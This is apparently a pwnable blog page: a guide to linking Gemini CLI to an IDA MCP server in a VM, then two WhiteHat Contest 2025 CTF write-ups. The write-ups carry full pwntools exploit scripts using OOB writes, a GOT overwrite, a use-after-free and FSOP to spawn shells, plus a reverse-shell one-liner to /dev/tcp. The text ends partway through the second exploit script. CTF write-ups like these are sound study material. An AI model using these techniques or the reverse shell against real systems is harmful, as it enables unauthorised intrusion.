~/bl4nk - pwnable

Connecting LLM to IDA MCP Server in a Virtual Machine (feat. Gemini CLI)

2025-12-10T00:00:00+00:00

0x00. Introduction

MCP (Model Context Protocol) is an open standard that enables AI models to communicate with other systems. By using MCP, LLMs can connect to various data sources like PCs or databases, and tools like search engines or calculators to perform complex and valuable tasks. It’s often described as a “USB-C port for AI.”

While there is an official plugin from Hex-Rays, this guide is based on the GitHub repository which has more stars and community traction. I also structured this setup using a virtual machine for the MCP Server, enabling a workflow where I can freely analyze in parallel while the agent handles its tasks.

0x01. Install

Guest

As mentioned, the MCP server will be set up inside a virtual machine. You can use any OS that supports IDA (macOS, Linux, and Windows), but I used Windows 10 x64.

Python

Python 3.11 or higher is required. Usually, IDA installs Python if it’s missing, but older versions might install 3.10. Since we’re running this in a VM, it’s easier to install the latest version beforehand.

I personally install it in C:\Python\Python[VER]. Make sure to add the following paths to your system’s PATH environment variable:

C:\Python\Python314\
C:\Python\Python314\Scripts\

IDA Pro

The GitHub repository recommends IDA Pro 8.3 or higher, or version 9. Note that IDA Free is not supported, but according to sources, IDA Home (the individual plan) works fine.

During installation, uncheck the option to install Python so that IDA uses the version you previously installed.

IDA MCP

Refer to the GitHub installation guide for detailed steps.

pip uninstall ida-pro-mcp
pip install https://github.com/mrexodia/ida-pro-mcp/archive/refs/heads/main.zip

ida-pro-mcp --install

After installation, go to Edit -> Plugins -> MCP in the IDA menu. If the output looks like this, the installation was successful:

[MCP] Server started:
  Streamable HTTP: http://127.0.0.1:13337/mcp
  SSE: http://127.0.0.1:13337/sse
  Config: http://127.0.0.1:13337/config.html

Since it listens on 127.0.0.1 by default, you can set up port forwarding or simply run the following command to allow host communication:

ida-pro-mcp --transport http://0.0.0.0:13337/sse

Host

While you could install the AI application on the guest OS, I preferred separating the guest and host. I use these applications frequently on my host, and it feels slightly faster.

The host environment is Windows 11 with WSL, and the following steps are for WSL.

Gemini CLI

The demo on GitHub uses Claude Desktop, but since I subscribe to Gemini, I’ll be using the Gemini CLI.

# Install nvm and Node.js (requires version > 20)
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
nvm install node

# Install Gemini CLI
npm install -g @google/gemini-cli

To communicate with the guest, add the MCP server information to ~/.gemini/settings.json:

{
  "mcpServers": {
    "ida-vm": {
      "url": "http://xxx.xxx.xxx.xxx:13337/sse"
    }
  }
}

If everything is set up correctly, running the gemini command should show a log saying Using: 1 MCP server.


   ░░░            ░░░░░░░░░  ░░░░░░░░░░ ░░░░░░   ░░░░░░ ░░░░░ ░░░░░░   ░░░░░ ░░░░░
     ░░░         ░░░     ░░░ ░░░        ░░░░░░   ░░░░░░  ░░░  ░░░░░░   ░░░░░  ░░░
       ░░░      ░░░          ░░░        ░░░ ░░░ ░░░ ░░░  ░░░  ░░░ ░░░  ░░░    ░░░
 ███     ░░░    █████████░░██████████ ██████ ░░██████░█████░██████ ░░█████ █████░
   ███ ░░░     ███░    ███░███░░      ██████  ░██████░░███░░██████  ░█████  ███░░
     ███      ███░░░     ░░███░░      ███░███ ███ ███░░███░░███░███  ███░░  ███░░
   ░░░ ███    ███ ░░░█████░██████░░░░░███░░█████  ███░░███░░███░░███ ███░░░ ███░░░
     ███      ███      ███ ███        ███   ███   ███  ███  ███   ██████    ███
   ███         ███     ███ ███        ███         ███  ███  ███    █████    ███
 ███            █████████  ██████████ ███         ███ █████ ███     █████  █████

Tips for getting started:
1. Ask questions, edit files, or run commands.
2. Be specific for the best results.
3. Create GEMINI.md files to customize your interactions with Gemini.
4. /help for more information.

 Using: 1 MCP server
╭──────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ >   Type your message or @path/to/file                                                               │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────╯
 ~/mcp                          no sandbox (see /docs)                           Auto (Gemini 3) /model

You can verify the available tools using the /mcp command.

> /mcp

Configured MCP servers:

🟢 ida-vm - Ready (71 tools, 15 resources)
  Tools:
  - analyze_funcs
  - analyze_strings
  - apply_types
  ...
  Resources:
  - idb_metadata_resource (ida://idb/metadata) [application/json]
  - idb_segments_resource (ida://idb/segments) [application/json]
  - idb_entrypoints_resource (ida://idb/entrypoints) [application/json]
  ...

0x02. Prompt Engineering

For better analysis results, using a well-crafted prompt is highly recommended. Here is the default recommended prompt:

Your task is to analyze the open file in IDA Pro. You can use the MCP tools to retrieve information. In general use the following strategy:

- Inspect the decompilation and add comments with your findings
- Rename variables to more sensible names
- Change the variable and argument types if necessary (especially pointer and array types)
- Change function names to be more descriptive
- If more details are necessary, disassemble the function and add comments with your findings
- NEVER convert number bases yourself. Use the `int_convert` MCP tool if needed!
- Do not attempt brute forcing, derive any solutions purely from the disassembly and simple python scripts
- Create a report.md with your findings and steps taken at the end
- When you find a solution, prompt to user for feedback with the password you found

And here is a more detailed prompt shared by another user (@can1357):

Your task is to create a complete and comprehensive reverse engineering analysis. Reference AGENTS.md to understand the project goals and ensure the analysis serves our purposes.

Use the following systematic methodology:

1. **Decompilation Analysis**
   - Thoroughly inspect the decompiler output
   - Add detailed comments documenting your findings
   - Focus on understanding the actual functionality and purpose of each component (do not rely on old, incorrect comments)

2. **Improve Readability in the Database**
   - Rename variables to sensible, descriptive names
   - Correct variable and argument types where necessary (especially pointers and array types)
   - Update function names to be descriptive of their actual purpose

3. **Deep Dive When Needed**
   - If more details are necessary, examine the disassembly and add comments with findings
   - Document any low-level behaviors that aren't clear from the decompilation alone
   - Use sub-agents to perform detailed analysis

4. **Important Constraints**
   - NEVER convert number bases yourself - use the int_convert MCP tool if needed
   - Use MCP tools to retrieve information as necessary
   - Derive all conclusions from actual analysis, not assumptions

5. **Documentation**
   - Produce comprehensive RE/*.md files with your findings
   - Document the steps taken and methodology used
   - When asked by the user, ensure accuracy over previous analysis file
   - Organize findings in a way that serves the project goals outlined in AGENTS.md or CLAUDE.md

WhiteHat Contest 2025 Quals - Search And Attack

2025-11-17T00:00:00+00:00

0x00. Introduction

➜  tree .
.
├── 8f7c31c3010792cd92b452ac7223128f64189e61ee52fedc107c87a3408a66e9
└── cnc
    ├── 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
    ├── 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2.c
    └── libc.so.6

The executable files for server and malware (supposedly), source code, and library file are given. Initially, I thought I needed to analyze the 8f7c file which is suspected to be malware, but it turned out completely unrelated to the challenge.

[*] '/home/user/cnc/39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

The protection mechanisms applied to the C2 server file 39fd are shown above.

Environment

After a long time, instead of a docker environment, library file was provided, so I tried to load it with LD_PRELOAD, but linking didn’t work well.

I eventually found and used a tool called pwninit. It not only finds and downloads a loader that can load a library file but also patches the binary to load the provided library. It is a very simple yet powerful tool.

Concept

➜  ./39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
[*] Starting server on port 8080...
[*] Server listening on port 8080

Running the C2 server file opens port 8080 and waits as shown above. When a request matching the C2 protocol arrives, it executes the corresponding logic.

0x01. Vulnerability

The code is about 500 lines, but I succeeded in exploitation with one vulnerability, so there might be others.

void update_bot(int bot_id, const char* data, size_t data_size) {
    pthread_mutex_lock(&bots_mutex);
    
    int index = bot_id;
    int field_count = 0;
    ...
    while (*ptr && field_count < 8) {
        if (*ptr == '|') {
            *ptr = '\0';
            fields[field_count++] = start;
            start = ptr + 1;
        }
        ptr++;
    }
    if (field_count < 8) {
        fields[field_count++] = start;
    }
    
    if (field_count > 0 && strlen(fields[0]) > 0) 
        memcpy(bots[index].hostname, fields[0], MAX_BUFFER_LEN - 1);
    
    if (field_count > 1 && strlen(fields[1]) > 0) 
        memcpy(bots[index].username, fields[1], MAX_BUFFER_LEN - 1);
    ...
    printf("[*] Bot updated: ID=%d\n", bot_id);
    
    pthread_mutex_unlock(&bots_mutex);
}

void detail_bot(int bot_id, int client_socket) {
    pthread_mutex_lock(&bots_mutex);
    
    char response[BUFFER_SIZE * 4] = {0};
    
    int index = bot_id;
    snprintf(response, sizeof(response), 
            "BOT_DETAIL|%d|%.255s|%.255s|%.15s|%.15s|%.255s|%.255s|%.63s|%.63s|%ld\n",
            bots[index].id,
            bots[index].hostname,
            bots[index].username,
            bots[index].public_ip,
            bots[index].private_ip,
            bots[index].os_info,
            bots[index].cpu_info,
            bots[index].ram_info,
            bots[index].disk_info,
            bots[index].last_seen);

    send(client_socket, response, strlen(response), 0);
    
    pthread_mutex_unlock(&bots_mutex);
}

Since update_bot and detail_bot don’t verify index, OOB write and OOB read vulnerabilities occur respectively.

0x02. Exploit

OOB Read

Since the maximum number of bots (MAX_BOTS) is as high as 1000, I was more interested in the area before bots than after.

First, to utilize OOB read, I wrote the payload as follows.

    s.sendline(b"DETAIL|-1")
    r = s.recv().split(b"|")[1:]
    for o, f in zip(order, r):
        print(f"{o} : {f}, len {len(f)}")

The output at this point is:

id : b'0', len 1
hostname : b'', len 0
username : b'', len 0
public_ip : b'XXXXXXXXXXXXXXX', len 15
private_ip : b'XXXXXXXXXXXXXXX', len 15
os_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 255
cpu_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 32
ram_info : b'\xa0\x95\xd3\xf7\xff\x7f', len 6
disk_info : b'P\xec\xd0\xf7\xff\x7f', len 6
last_seen : b'0\n', len 2

Looking at ram_info and disk_info, we get libc addresses. Printing the memory corresponding to the area above bots shows:

gef➤  x/46gx 0x0000000000406000
0x406000 <free@got.plt>:        0x00007ffff7cadd30      0x00007ffff7d2bbe0
0x406010 <puts@got.plt>:        0x0000000000401050      0x00007ffff7d2c180
0x406020 <inet_ntoa@got.plt>:   0x00007ffff7d3c400      0x00007ffff7d2ba30
0x406030 <strlen@got.plt>:      0x00007ffff7d8b780      0x00000000004010a0
0x406040 <htons@got.plt>:       0x00007ffff7d395a0      0x00007ffff7d2bec0
0x406050 <printf@got.plt>:      0x00007ffff7c60100      0x00007ffff7c66370
0x406060 <memset@got.plt>:      0x00007ffff7d89440      0x0000000000401100
0x406070 <strcmp@got.plt>:      0x00007ffff7d8afd0      0x00007ffff7c451a0
0x406080 <memcpy@got.plt>:      0x00007ffff7d88a40      0x00007ffff7fc3a40
0x406090 <select@got.plt>:      0x00007ffff7d26bc0      0x00007ffff7ca1a70
0x4060a0 <malloc@got.plt>:      0x00007ffff7cad650      0x00007ffff7c9dc70
0x4060b0 <listen@got.plt>:      0x00007ffff7d2bb50      0x00007ffff7d395a0
0x4060c0 <bind@got.plt>:        0x00007ffff7d2b960      0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>:      0x00007ffff7c28a93      0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>:      0x00007ffff7d2b820      0x00007ffff7c58750
0x4060f0 <strcat@got.plt>:      0x007ffff7d0ec507c      0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>:  0x00007ffff7c9fff0      0x00007ffff7d2c310
0x406110:       0x0000000000000000      0x0000000000000000
0x406120 <server_running>:      0x0000000000000001      0x0000000000000000
0x406130:       0x0000000000000000      0x00000000691bb9f6
0x406140 <completed.0>: 0x0000000000000000      0x0000000000000000
0x406150:       0x0000000000000000      0x0000000000000000
0x406160 <bots>:        0x0000000000000000      0x0000000000000000

The libc addresses were printed through the GOT area. The output addresses are libc addresses of ntohs and sleep.

OOB Write

So I thought of a GOT overwrite scenario using update_bot, but made two mistakes in the process.

Since areas above GOT only have r permission, Segmentation Fault occurs when writing hostname, username, etc.
Only attempted to overwrite GOT of ntohs and sleep

These mistakes wouldn’t have happened with careful code review, so I’m recording them for feedback.

if (field_count > 6 && strlen(fields[6]) > 0) 
    memcpy(bots[bot_index].ram_info, fields[6], MAX_IO_INFO_BUFFER_LEN - 1);

Since memcpy only happens when strlen(field[i]) > 0, leaving field[i] empty can skip the process of writing hostname, username, etc.
Since memcpy copies entire memory, we can overwrite GOT of other functions after instead of specifically ntohs or sleep

Anyway, to utilize OOB write for GOT overwrite, I printed the GOTs after ntohs.

0x4060b8 <ntohs@got.plt>:       0x00007ffff7d395a0
0x4060c0 <bind@got.plt>:        0x00007ffff7d2b960
0x4060c8 <pthread_create@got.plt>:      0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>:      0x00007ffff7c28a93
0x4060d8 <strtok@got.plt>:      0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>:      0x00007ffff7d2b820
0x4060e8 <atoi@got.plt>:        0x00007ffff7c58750
0x4060f0 <strcat@got.plt>:      0x007ffff7d0ec507c
0x4060f8 <sleep@got.plt>:       0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>:  0x00007ffff7c9fff0
0x406108 <socket@got.plt>:      0x00007ffff7d2c310
0x406110:       0x0000000000000000
0x406118:       0x0000000000000000
0x406120 <server_running>:      0x0000000000000001

Among these functions, I looked for one convenient for passing input as an argument, and atoi looked good.

void* handle_client(void* arg) {
    ...
    else if (strcmp(cmd, CMD_DELETE) == 0) {
        char *bot_id_str = strtok(NULL, "|");
        if (bot_id_str) {
            int bot_id = atoi(bot_id_str);
            delete_bot(bot_id);
            char response[] = "DELETED|OK\n";
            send(client_socket, response, strlen(response), 0);
        }
    }
    ...
}

Since the string after DELETE| sent to the server goes directly into bot_id_str, if we change atoi’s GOT to system‘s address, passing arguments becomes very convenient. We need to preserve existing values since modifying other functions’ GOTs likely causes errors.

So I wrote the payload as follows.

    payload = b"UPDATE|-1|"
    payload += b"|" * 6
    payload += p64(libc_base + lib.symbols['ntohs'])
    payload += p64(libc_base + lib.symbols['bind'])
    payload += p64(libc_base + lib.symbols['pthread_create'])
    payload += p64(libc_base + lib.symbols['perror'])
    payload += p64(libc_base + lib.symbols['strtok'])
    payload += p64(libc_base + lib.symbols['accept'])
    payload += p64(libc_base + lib.symbols['system'])       # atoi
    payload += b"|"
    payload += p64(sleep_addr)
    s.sendline(payload)

    print(s.recv())

    payload = b"DELETE|"
    payload += b"/bin/sh"
    s.sendline(payload)

    print(p.recv())

Here, passing /bin/sh as system’s argument was sufficient, but depending on the environment, arguments like this might be needed:

bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2_patched"
LIBRARY = "libc.so.6"
CONTAINER = ""
code_base = 0x555555554000
bp = {
    'main' : code_base + 0x16ae,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        p = process(BINARY)
        if debug:
            gdb.attach(p, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    order = ["id", "hostname", "username", "public_ip", "private_ip", "os_info", "cpu_info", "ram_info", "disk_info", "last_seen"]

    print(p.recvuntil(b"8080\n"))

    s = remote("127.0.0.1", 8080)

    s.sendline(b"DETAIL|-1")
    r = s.recv().split(b"|")[1:]
    for o, f in zip(order, r):
        print(f"{o} : {f}, len {len(f)}")
    ntohs_addr = u64(r[-3] + b"\x00\x00")
    sleep_addr = u64(r[-2] + b"\x00\x00")
    libc_base = sleep_addr - lib.symbols['sleep']

    log.info(f"ntohs_addr : {hex(ntohs_addr)}")
    log.info(f"sleep_addr : {hex(sleep_addr)}")
    log.info(f"libc_base  : {hex(libc_base)}")

    payload = b"UPDATE|-1|"
    payload += b"|" * 6
    payload += p64(libc_base + lib.symbols['ntohs'])
    payload += p64(libc_base + lib.symbols['bind'])
    payload += p64(libc_base + lib.symbols['pthread_create'])
    payload += p64(libc_base + lib.symbols['perror'])
    payload += p64(libc_base + lib.symbols['strtok'])
    payload += p64(libc_base + lib.symbols['accept'])
    payload += p64(libc_base + lib.symbols['system'])       # atoi
    payload += b"|"
    payload += p64(sleep_addr)
    s.sendline(payload)

    print(s.recv())

    payload = b"DELETE|"
    payload += b"/bin/sh"
    s.sendline(payload)

    print(p.recv())

    p.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

WhiteHat Contest 2025 Quals - Sleeping C&C

2025-11-02T00:00:00+00:00

0x00. Introduction

[*] '/home/user/sleeping_cnc'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

Concept

=================================
   C2 SERVER v1.0 - INITIALIZED
=================================

[*] Command & Control Server
[*] Managing botnet operations...


===== C2 CONTROL PANEL =====
1. Register new bot
2. Update bot info
3. Send command to bots
4. Deploy task
5. Abort running task
6. Shutdown C2 server
>>

This challenge implements the operation of a C2 server.

Structure

struct __fixed bot
{
    char *ip;       // pointing 0x18 chunk
    char *info;     // pointing 0x500 chunk
    int status;
};

The bot structure is composed as shown above and allocates a chunk of size 0x20 when created with malloc().

0x01. Vulnerability

Use After Free

int deploy_task_1CE0()
{
  __int64 v0; // rax
  pthread_t v2; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( task_running_40C8 )
  {
    puts("[!] A task is already running");
  }
  else if ( bot_count_40CC <= 0 )
  {
    puts("[!] Need at least 1 bots to deploy task");
  }
  else
  {
    task_running_40C8 = 1;
    if ( pthread_create(&v2, 0LL, start_routine, 0LL) )
      err("Failed to create task thread");
    puts("[+] Task deployed");
    return v3 - __readfsqword(0x28u);
  }
  return v0;
}

In deploy_task_1CE0(), which conceptually delivers commands, the function checks if the global variable task_running_40C8 is 0, and if so, changes it to 1 before creating a thread. Since this value is managed by a mutex to be reset to 0, deploy_task_1CE0() cannot be called again before aborting the task.

void *__fastcall start_routine(void *a1)
{
  unsigned int last; // ebx

  pthread_mutex_lock(&mutex);
  last = bot_count_40CC - 1;
  puts("\n[!] OP : Starting operation...");
  __printf_chk(2LL, "[!] Bot %s (info : %s) has dominated\n", bot_list_40E0[last]->ip, bot_list_40E0[last]->info);
  puts("[*] Attempting reconnection...");
  free_vuln_1B80(last);
  pthread_cond_wait(&cond, &mutex);
  puts("\n[*] Task completed. Bot terminated.");
  --bot_count_40CC;
  task_running_40C8 = 0;
  pthread_mutex_unlock(&mutex);
  return 0LL;
}

Inside the thread, it prints information about the last bot and calls the vulnerable function free_vuln_1B80().

Initially, I thought I needed to exploit something similar to a race condition using the fact that bot_count_40CC doesn’t decrease before aborting the task, but thanks to another vulnerability described later, it wasn’t necessary.

void __fastcall free_vuln_1B80(int index)
{
  struct bot *bot; // rbx

  bot = bot_list_40E0[index];
  if ( bot )
  {
    *bot->ip = 0;
    *bot->info = 0;
    free(bot->ip);
    free(bot->info);
    free(bot);
  }
}

Finally, free_vuln_1B80() frees bot, bot->ip, and bot->info, but doesn’t initialize the pointer values, leaving them as dangling pointers. These pointers can be leveraged as UAF when combined with other vulnerabilities.

Improper Check

int update_bot_18D0()
{
  int v0; // eax
  struct bot *bot_selected; // r12
  int v2; // eax
  unsigned int tmp; // [rsp+4h] [rbp-24h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-20h]

  v5 = __readfsqword(0x28u);
  __printf_chk(2LL, "[?] Bot index to update: ");
  tmp = 0;
  __isoc99_scanf(" %d", &tmp);
  do
    v0 = getc(stdin);
  while ( v0 != 10 && v0 != -1 );
  if ( tmp > 4 )                                    // vulnerable!!!
    return puts("[!] Invalid bot index");
  bot_selected = bot_list_40E0[tmp];
  if ( !bot_selected )
    return puts("[!] Bot not found at this index");
  __printf_chk(2LL, "[+] New ip_address: ");
  my_read_1740(bot_selected->ip, 0x18);
  __printf_chk(2LL, "[+] New info: ");
  my_read_1740(bot_selected->info, 0x500);
  __printf_chk(2LL, "[+] New status: ");
  tmp = 0;
  __isoc99_scanf(" %d", &tmp);
  do
    v2 = getc(stdin);
  while ( v2 != -1 && v2 != 10 );
  bot_selected->status = tmp;
  return puts("[+] Bot information updated");
}

In update_bot_18D0(), an index is received to select which bot to update. At this point, it should be compared with bot_count_40CC which stores the number of bots, but instead it checks if the value is greater than 4, which is the maximum number of bots. Therefore, as long as the pointer points to a valid address, it’s possible to access a freed bot.

0x02. Exploit

Libc Leak

Anyway, since there are no address values and the output section only exists in the thread function start_routine(), I came to think of info leak addresses through bot->ip or bot->info.

Between the two, bot->info is a large chunk of size 0x500, so when freed, it goes to the unsorted bin. Looking at the memory, it stores an address from the middle of libc’s main_arena as follows.

# before free
gef➤  x/3gx 0x00005555555592a0
0x5555555592a0: 0x00005555555592d0      0x00005555555592f0
0x5555555592b0: 0x0000000000000001

# after free
gef➤  x/4gx 0x00005555555592f0
0x5555555592f0: 0x00007ffff7facb20      0x00007ffff7facb20
0x555555559300: 0x0000000000000000      0x0000000000000000

This chunk’s value isn’t initialized after being freed and is returned again when allocating the next bot->info. Since the output section prints info with the %s format string, if we fill \x00 appropriately when entering info, we can leak libc.

    deploy_task(s)
    abort_task(s)

    register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
    r = deploy_task(s)
    libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
    lib.address = libc
    stdout = libc + stdout_offset
    buf = libc + buf_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"stdout : {hex(stdout)}")
    log.info(f"buf : {hex(buf)}")
    abort_task(s)

Use After Free

Now we need to leave a dangling pointer for UAF. Actually, all we need to do is create and free a bot.

    register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
    deploy_task(s)
    abort_task(s)

After executing the above code, checking the memory and fastbin shows the following.

gef➤  x/5gx 0x0000555555554000 + 0x40e0
0x5555555580e0: 0x00005555555592a0      0x0000000000000000
0x5555555580f0: 0x0000000000000000      0x0000000000000000
0x555555558100: 0x0000000000000000
gef➤  heap bins
─────────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────────
All tcachebins are empty
───────────────────────────────── Fastbins for arena at 0x7ffff7e1ac80 ─────────────────────────────────
Fastbins[idx=0, size=0x20]  ←  Chunk(addr=0x5555555592d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30]  ←  Chunk(addr=0x5555555592a0, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00

The first bot was allocated at 0x5555555592a0 and then freed, resulting in a chunk in the fastbin of size 0x30.

int send_command_1A70()
{
  int v0; // eax
  void *cmd; // rbx
  int v3; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  puts("[*] Operating Command :");
  puts("  1. Quick command ");
  puts("  2. General command ");
  __printf_chk(2LL, ">> ");
  v3 = 0;
  __isoc99_scanf(" %d", &v3);
  if ( v3 == 1 )
  {
    cmd = malloc(0x20uLL);
    puts("[+] Write Quick command payload :");
  }
  else
  {
    cmd = malloc(0x100uLL);
    puts("[+] Write command payload :");
  }
  my_read_1740(cmd);
  return puts("[+] Command queued for deployment");
}

Conveniently, send_command_1A70() allocates a chunk of size 0x20, so it receives the chunk from the 0x30 fastbin, and we can also write content to it. Therefore, we can modify the address values that bot->ip or bot->info points to through send_command_1A70(), then create AAW (Arbitrary Address Write) with update_bot_18D0().

Now we need to think about how to achieve RIP control using AAW. Since there’s no leak other than libc leak and we can write a large amount of content of size 0x500, I decided to use FSOP.

FSOP

First, as mentioned earlier, we modify the content of the bot structure using send_command_1A70().

    payload = p64(buf)                # bot->ip
    payload += p64(stdout)            # bot->info
    payload += p64(1)                 # bot->status
    send_command(s, b"1", payload)

I put the address of any meaningless region in the libc area into buf since it’s not needed for exploitation. Since bot->info is pointing to stdout, we can modify the content of stdout when updating bot->info.

Since we can overwrite up to the vtable pointer, which is the last field of stdout (over 0xe0), we can use the following FSOP payload.

    stdout_lock = lib.sym.__nptl_last_event - 0x48
    payload = FSOP_struct(
        flags=u64(b"\x01\x01\x01\x01;sh\x00"),
        lock=stdout_lock,
        _wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
        _markers=lib.symbols["system"],
        _unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
        vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
        _mode=0xFFFFFFFF,
    )
    update_bot(s, b"0", b"CCCCCCCC", payload)

After this, when encountering puts or printf, _IO_wfile_overflow will be called and execute a shell.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "prob"
LIBRARY = "libc.so.6"
CONTAINER = "9d734f3d11b8"
code_base = 0x555555554000
bp = {
    'main' : code_base + 0x12BA,
}

gs = f'''
!b *{bp["main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
context.log_level = "DEBUG"

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

def register_new_bot(s, ip, info, status):
    s.sendline(b"1")
    s.sendafter(b"address: ", ip)
    s.sendafter(b"info: ", info)
    s.sendlineafter(b"online): ", status)
    return s.recvuntil(b">> ")

def update_bot(s, index, ip, info):
    s.sendline(b"2")
    s.sendlineafter(b"update: ", index)
    s.sendafter(b"address: ", ip)
    s.sendafter(b"info: ", info)
    return

def send_command(s, mode, cmd):
    s.sendline(b"3")
    s.sendlineafter(b">> ", mode)
    s.sendlineafter(b"payload :\n", cmd)
    return s.recvuntil(b">> ")

def deploy_task(s):
    s.sendline(b"4")
    sleep(0.5)
    return s.recvuntil(b"reconnection...\n")

def abort_task(s):
    s.sendline(b"5")
    sleep(0.5)
    return s.recvuntil(b"terminated.\n")

def shutdown(s):
    s.sendline(b"6")
    return s.recvuntil(b"server...\n")

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
        main_arena_offset = 0x203b20
        stdout_offset = 0x2045c0
        buf_offset = 0x204700
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
        main_arena_offset = 0x21ace0
        stdout_offset = 0x2045c0
        buf_offset = 0x204700
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    
    s.recvuntil(">> ")
    
    # send big chunk to unsorted bin
    deploy_task(s)
    abort_task(s)

    # leak libc
    register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
    r = deploy_task(s)
    libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
    lib.address = libc
    stdout = libc + stdout_offset
    buf = libc + buf_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"stdout : {hex(stdout)}")
    log.info(f"buf : {hex(buf)}")
    abort_task(s)

